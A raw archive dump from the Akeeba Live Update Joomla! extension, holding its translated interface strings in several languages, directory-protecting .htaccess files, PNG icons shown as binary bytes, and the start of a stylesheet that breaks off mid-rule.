Please provide the FTP username and password below to proceed with the update." LIVEUPDATE_FTP="รายละเอียด FTP" LIVEUPDATE_FTPUSERNAME="FTP Username" LIVEUPDATE_FTPPASSWORD="FTP Password" LIVEUPDATE_DOWNLOAD_AND_INSTALL="ดาวน์โหลด และติดตั้งเวอร์ชั่นล่าสุด" LIVEUPDATE_DOWNLOAD_FAILED="ดาวน์โหลดแพคเกจอับเดดผิดพลาด ตรวจสอบ temp-directory ของคุณสามารถเขียนได้ หรือคุณได้ทำการเปิดตัวเลือก Joomla!'s FTP ใน site's Global Configuration แล้ว" LIVEUPDATE_EXTRACT_FAILED="การแตกไฟล์แพคเกจล้มเหลว กรุณาลองปรับปรุงส่วนขยายด้วยตนเอง" LIVEUPDATE_INVALID_PACKAGE_TYPE="ประเภทแพคเกจไม่ถูกต้อง ไม่สามารถทำการปรับปรุงได้ " LIVEUPDATE_INSTALLEXT="ติดตั้ง %s %s" LIVEUPDATE_ERROR="ผิดพลาด" LIVEUPDATE_SUCCESS="สำเร็จ" LIVEUPDATE_ICON_UNSUPPORTED="ไม่รองรับ Live Update" LIVEUPDATE_ICON_CRASHED="Live Update เสียหาย" LIVEUPDATE_ICON_CURRENT="คุณใช้งานเวอร์ชั่นล่าสุดอยู่" LIVEUPDATE_ICON_UPDATES="พบการปรับปรุง คลิกเพื่อทำการปรับปรุง"PKB\)#liveupdate/language/th-TH/.htaccessnuW+A Order allow,deny Deny from all PKB\$liveupdate/language/th-TH/index.htmlnuW+APKB\$liveupdate/language/sv-SE/index.htmlnuW+APKB\)#liveupdate/language/sv-SE/.htaccessnuW+A Order allow,deny Deny from all PKB\ t .liveupdate/language/sv-SE/sv-SE.liveupdate.ininuW+A; Akeeba Live Update ; Copyright ©2011 Nicholas K. Dionysopoulos / AkeebaBackup.com ; Licensed under the GNU LGPLv3 or later LIVEUPDATE_TASK_OVERVIEW="Live Update" LIVEUPDATE_NOTSUPPORTED_HEAD="Live Update stöds inte på denna server" LIVEUPDATE_NOTSUPPORTED_INFO="Din server verkar inte stöda att Live Update körs. Kontakta din webbhotelleverantör och be dem aktivera cURL i PHP alternativt aktivera URL fopen() wrappers. Om dessa redan är aktiverade skall du be dem att konfigurera brandväggen så den tillåter tillträde från följande URL:"; LIVEUPDATE_NOTSUPPORTED_ALTMETHOD="Du kan alltid uppdatera %s genom att gå till vår webbplats manuellt, ladda ned den senaste versionen och installera den med Joomla!:s egen installerare." LIVEUPDATE_STUCK_HEAD="Live Update har markerat sig själv som kraschad" LIVEUPDATE_STUCK_INFO="Live Update har upptäckt att den kraschade förra gången den försökte kontakta uppdateringsservern. Vanligen beror detta på att webbhotellet har blockerat kommunikation med externa webbplatser. Om du ändå vill försöka hämta uppdateringsinformation, klicka på knappen "Hämta uppdateringsinformation" nedan. Om detta resulterar i en vit sida, skall du kontakta ditt webbhotell och rapportera felet." LIVEUPDATE_ERROR_NEEDSAUTH="Du måste ange ditt användarnamn/lösenord eller Nedladdnings-ID i komponentens inställningar innan du kan uppgradera till senaste versionen. Uppgraderingsknappen kommer att vara inaktiv till dess du gjort detta." LIVEUPDATE_HASUPDATES_HEAD="Det finns en ny version" LIVEUPDATE_NOUPDATES_HEAD="Du har redan senaste versionen" LIVEUPDATE_CURRENTVERSION="Installerad version" LIVEUPDATE_LATESTVERSION="Senaste version" LIVEUPDATE_LATESTRELEASED="Senaste versionsdatum" LIVEUPDATE_DOWNLOADURL="Direkt nedladdnings-URL" LIVEUPDATE_REFRESH_INFO="Hämta uppdateringsinformation" LIVEUPDATE_DO_UPDATE="Uppdatera till senaste version" LIVEUPDATE_FTP_REQUIRED="Live Update indikerar att den måste använda FTP för att kunna ladda ned och installera din uppdatering. Du måste först ange och spara dina uppgifter för FTP i Joomla!:s Globala Inställningar.

Ange användarnamn och lösenord till din FTP nedan för att kunna fortsätta uppdateringen." LIVEUPDATE_FTP="FTP-information" LIVEUPDATE_FTPUSERNAME="FTP Användarnamn" LIVEUPDATE_FTPPASSWORD="FTP Lösenord" LIVEUPDATE_DOWNLOAD_AND_INSTALL="Ladda ned och installera uppdatering" LIVEUPDATE_DOWNLOAD_FAILED="Nedladdningen av uppdateringsaketet misslyckades. Kontrollera att temp-mappen är skrivbar och att du har aktiverat Joomla!:s FTP-lager i Globala Inställningar." LIVEUPDATE_EXTRACT_FAILED="Uppackningen av uppdateringspaketet misslyckades. Prova att uppdatera tillägget manuellt." LIVEUPDATE_INVALID_PACKAGE_TYPE="Ogiltig pakettyp. Uppdateringen kan inte fortsätta." LIVEUPDATE_INSTALLEXT="Installerar %s %s" LIVEUPDATE_ERROR="FEL!" LIVEUPDATE_SUCCESS="KLART!" LIVEUPDATE_ICON_UNSUPPORTED="Live Update stöds inte" LIVEUPDATE_ICON_CRASHED="Live Update krashade" LIVEUPDATE_ICON_CURRENT="Du har den senaste versionen" LIVEUPDATE_ICON_UPDATES="UPPDATERING HITTAD! KLICKA FÖR ATT UPPDATERA."PKB\&c c .liveupdate/language/tr-TR/tr-TR.liveupdate.ininuW+A; Akeeba Live Update ; Copyright ©2011 Nicholas K. Dionysopoulos / AkeebaBackup.com ; Licensed under the GNU LGPLv3 or later LIVEUPDATE_TASK_OVERVIEW="Canlı Güncelle" LIVEUPDATE_NOTSUPPORTED_HEAD="Canlı Güncelleme bu sunucu üzerinde desteklenmiyor" LIVEUPDATE_NOTSUPPORTED_INFO="Sunucunuz Canlı Güncellemeyi desteklemiyor. Lütfen sunucu yöneticinizle görüşerek cURL PHP ekini ya da URL fopen() sarıcılarını etkinleştirmelerini isteyin. Bu ekler zaten etkinleştirilmişse, güvenlik duvarını şu İnternet adresine izin verecek şekilde ayarlamalarını isteyin:"; LIVEUPDATE_NOTSUPPORTED_ALTMETHOD="%s güncellemelerini istediğiniz zaman el ile kurmak için, sitemizden en son sürümü indirip Joomla! bileşen kurucusu ile yükleyebilirsiniz." LIVEUPDATE_STUCK_HEAD="Canlı güncelleme hata vermiş" LIVEUPDATE_STUCK_INFO="Canlı güncelleme, güncelleme sunucusuna son bağlanma denemesinde hata verdiğini belirledi. Bu durum genellikle dışarıdaki sunuculara bağlantıları engelleyen bir sunucu yapılandırmasından kaynaklanır. Güncelleme bilgisini yeniden almak isterseniz lütfen aşağıdaki "Güncelleme bilgisini al" düğmesine tıklayın. Boş beyaz bir sayfa ile karşılaşırsanız sunucu yöneticinize bu durumu iletin." LIVEUPDATE_ERROR_NEEDSAUTH="Son sürüme güncellemeyi denemeden önce, bileşen ayarlarından kullanıcı adı/parolanızı ya da indirme kodunuzu yazmalısınız. Bu bilgileri yazana kadar Güncelle düğmesi devre dışı görünecektir." LIVEUPDATE_HASUPDATES_HEAD="Yeni bir sürüm bulundu" LIVEUPDATE_NOUPDATES_HEAD="Son sürümü kullanıyorsunuz" LIVEUPDATE_CURRENTVERSION="Kullandığınız sürüm" LIVEUPDATE_LATESTVERSION="Son sürüm" LIVEUPDATE_LATESTRELEASED="Son yayın tarihi" LIVEUPDATE_DOWNLOADURL="Doğrudan indirme adresi" LIVEUPDATE_REFRESH_INFO="Güncelleme bilgisini al" LIVEUPDATE_DO_UPDATE="Son sürüme güncelle" LIVEUPDATE_FTP_REQUIRED="Canlı Güncelle, güncellemeyi indirip kurmak yerine FTP kullanmaya gerek duyuyor, ancak FTP bilgilerinizi Joomla! Genel Ayarlarına kaydetmemişsiniz.

Lütfen güncellemeyi yapabilmek için FTP kullanıcı adı ve parolanızı aşağıya yazın." LIVEUPDATE_FTP="FTP Bilgisi" LIVEUPDATE_FTPUSERNAME="FTP Kullanıcı Adı" LIVEUPDATE_FTPPASSWORD="FTP Parolası" LIVEUPDATE_DOWNLOAD_AND_INSTALL="Güncellemeyi indir ve kur" LIVEUPDATE_DOWNLOAD_FAILED="Güncelleme paketi indirilemedi. Geçici klasörünüzün yazılabilir olduğundan ya da Joomla! Genel Ayarlarından FTP seçeneğini etkinleştirdiğinizden emin olun." LIVEUPDATE_EXTRACT_FAILED="Güncelleme paketi ayıklanamadı. Lütfen bileşeni elle güncellemeyi deneyin." LIVEUPDATE_INVALID_PACKAGE_TYPE="Geçersiz paket tipi. Güncelleme yapılamıyor." LIVEUPDATE_INSTALLEXT="%s %s kurulsun" LIVEUPDATE_ERROR="Hata" LIVEUPDATE_SUCCESS="Başarılı" LIVEUPDATE_ICON_UNSUPPORTED="Canlı Güncelleme Desteklenmiyor" LIVEUPDATE_ICON_CRASHED="Canlı Güncelleme hata verdi" LIVEUPDATE_ICON_CURRENT="Son sürümü kullanıyorsunuz" LIVEUPDATE_ICON_UPDATES="GÜNCELLEME VAR! YÜKLEMEK İÇİN TIKLAYIN."PKB\)#liveupdate/language/tr-TR/.htaccessnuW+A Order allow,deny Deny from all PKB\$liveupdate/language/tr-TR/index.htmlnuW+APKB\$liveupdate/language/it-IT/index.htmlnuW+APKB\VtvOO.liveupdate/language/it-IT/it-IT.liveupdate.ininuW+A; Akeeba Live Update ; Copyright ©2011 Nicholas K. Dionysopoulos / AkeebaBackup.com ; Licensed under the GNU LGPLv3 or later ; Translation: Roberto Restelli (roberto@msoutlook.it) LIVEUPDATE_TASK_OVERVIEW="Live Update" LIVEUPDATE_NOTSUPPORTED_HEAD="La funzionalità di Live Update non è supportata su questo server" LIVEUPDATE_NOTSUPPORTED_INFO="Il vostro server indica che la funzionalità di Live Update non è supportata. Contattare il fornitore e chiedere di abilitare l'estensione PHP cURL oppure attivare le funzionalità di URL fopen(). Se queste opzioni sono già attive, far verificare la configurazione del firewall per permettere l'accesso al seguente URL:"; LIVEUPDATE_NOTSUPPORTED_ALTMETHOD="E' sempre possibile aggiornare %s visitando il nostro sito, scaricando l'ultima versione disponibile ed installandola in Joomla usando i normali comando di installazione delle estensioni." LIVEUPDATE_STUCK_HEAD="Live Update ha rilevato un precedente crash" LIVEUPDATE_STUCK_INFO="Live Update ha determinato che nell'ultimo tentativo di contattare il server di aggiornamento l'operazioni e è fallita con un crash. Generalmente questo indica la presenza di un servizio che blocca la comunicazioen con siti esterni. Se volete riprovare a recuperare le informazioni di aggiornamento utilizzate il pulsante "Verifica disponibilità aggiornamenti" più sotto. Se il risultato è una pagina vuota, contattare il proprio fornitore per segnalare il problema." LIVEUPDATE_ERROR_NEEDSAUTH="E' necessario inserire Username e password oppure il proprio Download ID tra i paraemtri di configurazione del componente prima di tentare l'aggiornamento all'ultima versione. Il pulsante di aggiornamento sarà attivato solamente dopo l'isnerimento di tali informazioni." LIVEUPDATE_HASUPDATES_HEAD="E' disponibile una nuova versione" LIVEUPDATE_NOUPDATES_HEAD="Non sono disponibili ulteriori aggiornamenti" LIVEUPDATE_CURRENTVERSION="Versione installata" LIVEUPDATE_LATESTVERSION="Ultima versione" LIVEUPDATE_LATESTRELEASED="Data rilascio ultima versione" LIVEUPDATE_DOWNLOADURL="URL di scaricamento diretto" LIVEUPDATE_REFRESH_INFO="Verifica disponibilità aggiornamenti" LIVEUPDATE_DO_UPDATE="Aggiorna all'ultima versione" LIVEUPDATE_FTP_REQUIRED="Live Update ha determinato che è necessario l'utilizzo di FTP per scaricamente ed installare l'aggiornamento, tuttavia non sono state impostate le corrette informazioni di configurazione in Joomla. Inserire wui sotto Username e password per il servizio FTP per proseguire con l'aggiornamento." LIVEUPDATE_FTP="Informazioni FTP" LIVEUPDATE_FTPUSERNAME="Username FTP" LIVEUPDATE_FTPPASSWORD="Password FTP" LIVEUPDATE_DOWNLOAD_AND_INSTALL="Scarica ed installa aggiornamento" LIVEUPDATE_DOWNLOAD_FAILED="Lo scaricamento dell'aggiornamento è fallito. Verificare che la cartella temporanea sia scrivibile e che siano abilitate le opzioni FTP di Joomla all'interno della sezione di Configurazione Globale del sito." LIVEUPDATE_EXTRACT_FAILED="L'estrazione del pacchetto di aggiornamento è fallita. Sarà necessario effettuare l'aggiornamento tramite procedura manuale." LIVEUPDATE_INVALID_PACKAGE_TYPE="Formato del pacchetto di aggiornamento non riconosciuto. L'aggiornamento non può essere effettuato." LIVEUPDATE_INSTALLEXT="Installazione %s %s" LIVEUPDATE_ERROR="Errore" LIVEUPDATE_SUCCESS="Completato" LIVEUPDATE_ICON_UNSUPPORTED="Live Update non supportato" LIVEUPDATE_ICON_CRASHED="Live Update non funzionante correttamente" LIVEUPDATE_ICON_CURRENT="Non sono disponibili ulteriori aggiornamenti" LIVEUPDATE_ICON_UPDATES="INSTALLA NUOVO AGGIORNAMENTO!"PKB\)#liveupdate/language/it-IT/.htaccessnuW+A Order allow,deny Deny from all PKB\)liveupdate/language/.htaccessnuW+A Order allow,deny Deny from all PKB\)#liveupdate/language/nl-NL/.htaccessnuW+A Order allow,deny Deny from all PKB\,-R R .liveupdate/language/nl-NL/nl-NL.liveupdate.ininuW+A; Akeeba Live Update ; Copyright ©2011 Nicholas K. Dionysopoulos / AkeebaBackup.com ; Licensed under the GNU LGPLv3 or later ; Dutch Translation version 3.2.3 by [Robert J. Klop] info@zocors-web.nl LIVEUPDATE_TASK_OVERVIEW="Live Update" LIVEUPDATE_NOTSUPPORTED_HEAD="Live Update wordt op deze server niet ondersteund" LIVEUPDATE_NOTSUPPORTED_INFO="De server geeft aan dat Live Update niet wordt ondersteund. Neem contact op met de hoster en vraag de cURL PHP extensie of om de URL fopen() wrappers te activeren. Vraag, als ze al geactiveerd zijn, de firewall zo in te stellen dat er toegang tot de volgende URL is:"; LIVEUPDATE_NOTSUPPORTED_ALTMETHOD="U kunt %s altijd updaten door onze site te bezoeken, de laatste versie te downloaden en doormiddel van Joomla!'s extensiebeheer te installeren." LIVEUPDATE_STUCK_HEAD="Live Update is gecrasht" LIVEUPDATE_STUCK_INFO="Live Update stelt vast dat het, de laatste keer dat het de update-server trachtte te bereiken, gecrasht is. Dit betekent meestal dat de host actief de communicatie met externe sites blokkeert. Klik, als u de update informatie opnieuw wilt ophalen, op de "Ververs update informatie" knop hieronder. Als dat leidt tot een blanco pagina, neem dan contact op met uw hoster en meld dit." LIVEUPDATE_ERROR_NEEDSAUTH="U moet uw gebruikersnaam / wachtwoord of download ID opgegeven in de parameters van de component om naar de laatste release te upgraden. De upgrade knop zal geblokkeerd blijven tot dit gedaan is." LIVEUPDATE_HASUPDATES_HEAD="Er is een nieuwe versie beschikbaar" LIVEUPDATE_NOUPDATES_HEAD="U heeft de laatste versie al" LIVEUPDATE_CURRENTVERSION="Geïnstalleerde versie" LIVEUPDATE_LATESTVERSION="Nieuwste versie" LIVEUPDATE_LATESTRELEASED="Datum laatste release" LIVEUPDATE_DOWNLOADURL="URL voor directe download" LIVEUPDATE_REFRESH_INFO="Ververs update-informatie" LIVEUPDATE_DO_UPDATE="Update naar de laatste versie" LIVEUPDATE_FTP_REQUIRED="Live Update stelt vast dat het FTP moet gebruiken om de updates te downloaden en installeren, maar uw FTP logingegevens zijn bij de Joomla algemene instellingen niet opgeslagen.

Vul a.u.b. hieronder de FTP gebruikersnaam en het wachtwoord in om verder te gaan met updaten." LIVEUPDATE_FTP="FTP informatie" LIVEUPDATE_FTPUSERNAME="FTP gebruikersnaam" LIVEUPDATE_FTPPASSWORD="FTP wachtwoord" LIVEUPDATE_DOWNLOAD_AND_INSTALL="Download en installeer de update" LIVEUPDATE_DOWNLOAD_FAILED="Het downloaden van het updatepakket is mislukt. Zorg dat de temp map beschrijfbaar is of dat de FTP opties bij de algemene instellingen goed ingevuld zijn." LIVEUPDATE_EXTRACT_FAILED="Uitpakken van het pakket mislukt. Probeer de extensie handmatig bij te werken." LIVEUPDATE_INVALID_PACKAGE_TYPE="Verkeerd pakkettype. Updaten kan niet verder gaan." LIVEUPDATE_INSTALLEXT="Installeer %s %s" LIVEUPDATE_ERROR="Fout" LIVEUPDATE_SUCCESS="Succesvol" LIVEUPDATE_ICON_UNSUPPORTED="Live Update niet ondersteund" LIVEUPDATE_ICON_CRASHED="Live Update gecrasht" LIVEUPDATE_ICON_CURRENT="U heeft de laatste versie" LIVEUPDATE_ICON_UPDATES="UPDATE GEVONDEN! KLIK OM TE UPDATEN."PKB\$liveupdate/language/nl-NL/index.htmlnuW+APKB\)#liveupdate/language/ru-RU/.htaccessnuW+A Order allow,deny Deny from all PKB\$liveupdate/language/ru-RU/index.htmlnuW+APKB\bLD.liveupdate/language/ru-RU/ru-RU.liveupdate.ininuW+A; Akeeba Live Update ; Copyright ©2011 Nicholas K. Dionysopoulos / AkeebaBackup.com ; Licensed under the GNU LGPLv3 or later LIVEUPDATE_TASK_OVERVIEW="Автоматическое обновление" LIVEUPDATE_NOTSUPPORTED_HEAD="Автоматическое обновление не поддерживается на этом сервере" LIVEUPDATE_NOTSUPPORTED_INFO="Ваш сервер сообщает, что автоматическое обновление не поддерживается. Пожалуйста, обратитесь к вашему хостеру и попросите его разрешить CURL расширение для PHP или активировать функцию URL FOPEN (). Если они уже включены, пожалуйста, попросите его настроить их брандмауэр так, что он позволял получить доступ к следующему адресу:"; LIVEUPDATE_NOTSUPPORTED_ALTMETHOD="Вы всегда сможете обновить %s посетив наш сайт, вручную, загрузив последнюю версию и установив ее с помощью Joomla!." LIVEUPDATE_STUCK_HEAD="Автоматическое обновление обнаружило ошибку" LIVEUPDATE_STUCK_INFO="Автоматическое обновление обнаружило, что произошла ошибка при последнем сеансе связи с сервером обновлений. Обычно это означает, что хост блокирует связи с внешними сайтами. Если вы хотели бы снова получить информацию об обновлении, пожалуйста, нажмите кнопку "Обновить информацию об обновлении" , расположенную ниже. Если это приводит к появлению пустой страницы, пожалуйста, свяжитесь с вашим хостером и сообщите об этой проблеме." LIVEUPDATE_ERROR_NEEDSAUTH="Вы должны ввести ваше имя пользлвателя/пароль или ID загрузки в параметры компонента перед попыткой обновления до последней версии. Кнопка обновления будет оставаться неактивной, пока вы этого не сделаете." LIVEUPDATE_HASUPDATES_HEAD="Доступна новая версия" LIVEUPDATE_NOUPDATES_HEAD="У вас уже установлена последняя версия" LIVEUPDATE_CURRENTVERSION="Установленная версия" LIVEUPDATE_LATESTVERSION="Последняя версия" LIVEUPDATE_LATESTRELEASED="Дата выхода последней версии" LIVEUPDATE_DOWNLOADURL="Ссылка для прямой загрузки" LIVEUPDATE_REFRESH_INFO="Обновить информацию об обновлении" LIVEUPDATE_DO_UPDATE="Обновить до последней версии" LIVEUPDATE_FTP_REQUIRED="Автоматическое обновление определило, что необходимо использовать FTP для загрузки и установки обновления, но вы не сохранили данные для авторизации на FTP в Общих настройках Joomla!.

Просьба ввести имя пользователя и пароль FTP для продолжения обновления." LIVEUPDATE_FTP="Информация FTP" LIVEUPDATE_FTPUSERNAME="Имя пользователя FTP" LIVEUPDATE_FTPPASSWORD="Пароль FTP" LIVEUPDATE_DOWNLOAD_AND_INSTALL="Загрузить и установить обновление" LIVEUPDATE_DOWNLOAD_FAILED="Загрузка пакета обновления не удалась. Убедитесь, что временный каталог доступен для записи или что вы включили FTP в Общих настройках Joomla!." LIVEUPDATE_EXTRACT_FAILED="Извлечение пакета обновления не удалось. Пожалуйста, попробуйте обновить компонент вручную." LIVEUPDATE_INVALID_PACKAGE_TYPE="Неверный тип пакета. Обновление не может продолжаться." LIVEUPDATE_INSTALLEXT="Установлено %s %s" LIVEUPDATE_ERROR="Ошибка" LIVEUPDATE_SUCCESS="Успешно" LIVEUPDATE_ICON_UNSUPPORTED="Автоматическое обновление не поддерживается" LIVEUPDATE_ICON_CRASHED="Автоматическое обновление не прошло" LIVEUPDATE_ICON_CURRENT="У вас последняя версия" LIVEUPDATE_ICON_UPDATES="НАЙДЕНО ОБНОВЛЕНИЕ! НАЖМИТЕ ДЛЯ ОБНОВЛЕНИЯ."PKB\$liveupdate/language/no-NO/index.htmlnuW+APKB\mfL L .liveupdate/language/no-NO/nb-NO.liveupdate.ininuW+A; Akeeba Live Update ; Copyright ©2011 Nicholas K. Dionysopoulos / AkeebaBackup.com ; Licensed under the GNU LGPLv3 or later LIVEUPDATE_TASK_OVERVIEW="Live oppdatering" LIVEUPDATE_NOTSUPPORTED_HEAD="Live oppdatering støttes ikke på denne serveren" LIVEUPDATE_NOTSUPPORTED_INFO="Din server indikerer at Live oppdatering ikke støttes. Vennligst kontakt din leverandør og be dem aktivere cURL PHP eller aktivere URL fopen() wrappers. Dersom disse allerede er aktivert, kan du be dem om å konfigurere sin brannmur slik at den gir tilgang til følgende URL:"; LIVEUPDATE_NOTSUPPORTED_ALTMETHOD="Du kan alltid oppdatere manuelt%s ved å besøke vår side, laste ned den nyeste versjonen, og installere det ved hjelp av Joomla installasjonsprogrammet." LIVEUPDATE_STUCK_HEAD="Live oppdatering har markert seg selv som krasjet" LIVEUPDATE_STUCK_INFO="Live oppdatering krasjet forrige gang den prøvde å kontakte oppdateringsserveren. Dette betyr vanligvis en leverandør som aktivt blokkerer kommunikasjon med eksterne nettsteder. Hvis du ønsker å prøve å hente oppdateringsinformasjonen, klikk på knappen "Oppdater oppdateringsinformasjonen" under. Hvis dette resulterer i en blank side, kontakte din leverandør og rapportere dette problemet." LIVEUPDATE_ERROR_NEEDSAUTH="Du må oppgi brukernavn/passord eller nedlastnings ID til komponentens parametre før du forsøker å oppgradere til siste versjon. Oppgraderingsknappen vil forbli deaktivert til du gjøre det." LIVEUPDATE_HASUPDATES_HEAD="En ny versjon er tilgjengelig" LIVEUPDATE_NOUPDATES_HEAD="Du har allerede den nyeste versjonen" LIVEUPDATE_CURRENTVERSION="Installert versjon" LIVEUPDATE_LATESTVERSION="Nyeste versjon" LIVEUPDATE_LATESTRELEASED="Siste utgivelsesdato" LIVEUPDATE_DOWNLOADURL="Nedlastingsadresse" LIVEUPDATE_REFRESH_INFO="Oppdater oppdateringsinformasjonen" LIVEUPDATE_DO_UPDATE="Oppdatering til siste versjon" LIVEUPDATE_FTP_REQUIRED="Live oppdatering har behov for å bruke FTP for å laste ned og installere oppdateringen, men du har ikke lagret FTP påloggingsinformasjonen i Joomla! Global konfigurasjon .

Vennligst oppgi FTP brukernavn og passord nedenfor for å fortsette med oppdateringen." LIVEUPDATE_FTP="Informasjon" LIVEUPDATE_FTPUSERNAME="FTP brukernavn" LIVEUPDATE_FTPPASSWORD="FTP Passord" LIVEUPDATE_DOWNLOAD_AND_INSTALL="Last ned og installer oppdateringen" LIVEUPDATE_DOWNLOAD_FAILED="Nedlasting av oppdateringen mislyktes. Pass på at temp-mappen er skrivbar, eller at du har aktivert Joomla! 's FTP alternativer i Global konfigurasjon." LIVEUPDATE_EXTRACT_FAILED="Utpakking av oppdateringspakken mislyktes. Prøv å oppdatere utvidelsen manuelt." LIVEUPDATE_INVALID_PACKAGE_TYPE="Ugyldig pakke type. Oppdateringen kan ikke fortsette." LIVEUPDATE_INSTALLEXT="Installer %s %s" LIVEUPDATE_ERROR="Feil" LIVEUPDATE_SUCCESS="Vellykket" LIVEUPDATE_ICON_UNSUPPORTED="Live oppdatering støttes ikke" LIVEUPDATE_ICON_CRASHED="Live oppdatering krasjet" LIVEUPDATE_ICON_CURRENT="Du har den nyeste versjonen" LIVEUPDATE_ICON_UPDATES="OPPDATERING FUNNET! KLIKK FOR Å OPPDATERE."PKB\)#liveupdate/language/no-NO/.htaccessnuW+A Order allow,deny Deny from all PKB\. "liveupdate/assets/nosupport-32.pngnuW+APNG  IHDR szz pHYs   ZIDATX uWkl3Oxk0P3ƴȩI("-hRVi?H-D! $!@B Dv)cH(#,ػ玽ρ]|sϹ>B&']-uufm֭UoȱTABOQjF4s߽ƭD`φ ݻW-|ᩧZL(V# II`!d~uݸ OX{zqڊ&]om*SI6& PP0E',͠xrϵD[>&5MMMqvO{dJ˄"57aHQ8ۭfI8Hl;r$ F>[єɴ+E>.`L8zG:C7vS_jG]͏!…/BE^g4Q,f1l6aYx? ?7/IB& &a%}z~4[{{Ag8W/mݸ1mڴuxvhT3hPFC:D` | Θ$ݽKB2@@G:J@'Hݑ[B-9~c-Or$sL;L| b1*dXO_zEw R/i%hE& yc1GQ((ܵf64_jkMHW"|C!qtZDӼ_BL"`i{"sWVmŕ/˜DAI ٦Ozβ#:& z2]~EJF &F\Q+QxINQ޽4zRiقVΛgw&{d(zu\I 5̐4Ng[xpsr@-B_^M bȜL$_0b CgAj'NaJc*n@bdi8q׬ÇMPvJHs6bV:bE4:`gQK ,Z*#5JE)6,ʁ#]K^KB #vw ͻs(cuDNE |XTDY.Z<q<\:b(앁.YXsDm?5eg֢q8_`4{Nk}]*_TOEKp\`Pӎ)aŧ'.:I ㆁ_ЎTX-g[SCޞ!p0m9 (28h[6}&Q 'LFyf0JA0 fq;FP3'*EzH9H$” M%T cdo7|7#zFDɹlԁ@Ad_cwGqy{z\)l cK_F nlevFNԋtZ+{{ΝkDNFƠ'):m $U@ 뭞.ͯYJ瓂=_2ƭyyב&nb({яw#gF nbJ7JJ')JJJPHOu$d8]dÆ$lL&OA Hk`,(e|(+H&Z':&IBbȹ4p; a剿hƮ@pWĉ}h_ǍNqðXlF`(N,[WwP(4 Θ?p gY _kڗ v*b x H~mjŐM*و0 nѳVۋkAf@#R^;gmҴ NXIUUse3W{? 3wb9IENDB`PKB\2;\\liveupdate/assets/fail-24.pngnuW+APNG  IHDRw= pHYs  IDATH mVmlS~ιc;q $1 #FƠ&Ԋ jGºǴNU'X;m մ`CZʀB)]nI khY~{P*Z^sy>ǹ|N"qh@ )&0\>I4COa%JXLK|FzJGm-=ֶ 5XWf.71;4tm'./]1 tK^b۾jݱEx҃&@\ܸ]_.&u)o ~pWUuQ(L6L-`< p??:[x;$>^/Knή{kxv`&|6+Xʺe)TܼO tmv>||U>~Y͏}s]jU t+B!q̐ǯ~φe& Y8,L,M-m}eΝP__z֤WNoܨQ&NS%zd3Q;ܹ^M}a .nJ<>ljR6/ȃ H"Cjewܒk+ғhj#dlvq3؇ IvF7F131ʊ%E^63#c7.>5)Ē6.Y{unbT}6ˈ ~\P3jHzũk#-gο1mˎ~0#OX-7DѨTi#%sfͣy/G LcCCp3ł+ဪ^w\G匪ֵU25>+SmXSlٵ\) ϡ+:aC7By$3sx|ӎ-Pmv%[TQSj{ MljhR|o2{脳 -6Rs"IUmg)քÕ SI"6b9(HìKYyiYE'?lCvӎl'K.dTUYīw+7 v.,UH$9 #fvipA9O4zӲ.VfBkCCkyD\ǭRҬv$|YL.*A)CD"^tjX5vFt_ dr Ҫb>4?L}}gɱ~E*Ր+f$odN=\M,+0ɻ [+7ǵ~RL}kDY=:Y~kWṲ;A 4ixytoSHSeMM[W@pW[bme=+H;,#{ E&v?^SBi&qn9Pu2B>#=C)lztM}cf"=Đ>A>뾔Kkifi9ѠS0C!Ţ*RD[Ig谬aV;[|nX,?Ϯ[hFCM %7řŕ8\8As¹|7w %DS-Ȗ{MK4dtŵ@vEo>bpҀ͓ww D:`50P.\^|_. 4Ʒ$;GIENDB`PKB\^ONliveupdate/assets/warn-24.pngnuW+APNG  IHDRw= pHYs  NIDATH UkUv[kX`PM . >Pė}RD((m!- FPb 6`c-5MnwMi?ffx؝;ss(c ԇ*ܾ6l՚,ޓ( v3pE>ː BF.>Tnbש4uX4a8M`߃RhL<CP ]$>U`~`卌ϤiRHMNFe(o.9\Ь X 1= Vp%z;gTŁPtCmQ[Ϋ*YǦgUgvKƇ,=s0_Y6UsFe1rKP2K ;Q[ɿ2nM3A ]%Xghpg/!j A2=K_ZU(jW74)6U4#dp@)'@4lvU) i+]Śm4L@Qssj6nvZ+_ձi%*d`b8֏7g@Y6U NL5S;*f#;u[;-3"96 o9ޓ9TattQ#I6BﱁdFnvy.Bnͣf$Z q.]f YXA8A&2}S@~#q|ER{9|;zܸ m 5,U0Ġo ~=t0"Gκsѿr*!h"x9p@~1>)6sWW?E_t5aK`K)8އBm:Cb|Mz9cv>3xO=G(z~b'# -vH5k.jPӱ5Af+ox a >ۋGY{ǰ\km‹i)e?uLd7}W<ijqcX痢Ki(tq<,d,JޅE| 0RHl ]|ĵfA͚q Yڛ!IENDB`PKB\liveupdate/assets/index.htmlnuW+APKB\/qTliveupdate/assets/ok-24.pngnuW+APNG  IHDRw= pHYs  IDATH mLSWmo@hkaP4$(ʋɾ܊Kd#`lֲ1gt& e0`A hGA!PhK[/lq{9?BXqü@z= 06†_#`q^8Nh%BG9OGTd\a~]'@MykG>Dsx'y;laxRdٹŹ*+`6<\((WX,i(*V?5%-q ˲ՉNٯN>NoN(T01%n\!PD8D~ ֖$i0pXI_\ l8ה 63ql Aw@%<ϠQX@iZvefBRD,gR枦;;5%֦݁hWٗDӂ"sPbzoD)mJd^eNB5nPrZ|ᴴ#DLu{M/d1a#L;e@_ڲmZ*QN`h ޘu-ա~4d446Vm{(6*PC<5ۏ^Ene;4i(c$77/Cp.;4Iz)l?xd>edlx&ɒqbUpqKMUfuSnZJd?FNBvv80p}bmpy{f:C9R4$Zi:ްP(?n.8utt!|p9r'N{; &&"JJˀaldy³hZ2FH9~w,g,"p.B&U=14+ӥ D.ʧdZ$a4Q~JnvKv;(Enhi"܄b3:52>Q?~ej875@> :[n&oZւXQDn05X,*h>̅)|naL|k7CőG_}?5ozCa=k[ 8Ru…+XYj-PyAU{ΡBF?qX"鍊|2b/iG2ar31b} GOZ]4qcIENDB`PKB\ liveupdate/assets/liveupdate.cssnuW+A/** * @package LiveUpdate * @copyright Copyright ©2011 Nicholas K. Dionysopoulos / AkeebaBackup.com * @license GNU LGPLv3 or later */ @CHARSET "UTF-8"; .icon-48-liveupdate { background-image: url(liveupdate-48.png) } var { font-style: italic; font-weight: bold; } p.liveupdate-url { font-family: "Lucida Sans Mono", "Courier New", Courier, monospace; } div.liveupdate-notsupported, div.liveupdate-stuck { border: thin solid #990000; background: #fff0f0; padding: 1em; color: #330000; -moz-border-radius: 10px; -webkit-border-radius: 10px; -border-radius: 10px; -moz-box-shadow: 5px 5px 5px #f88; -webkit-box-shadow: 5px 5px 5px #f88; box-shadow: 5px 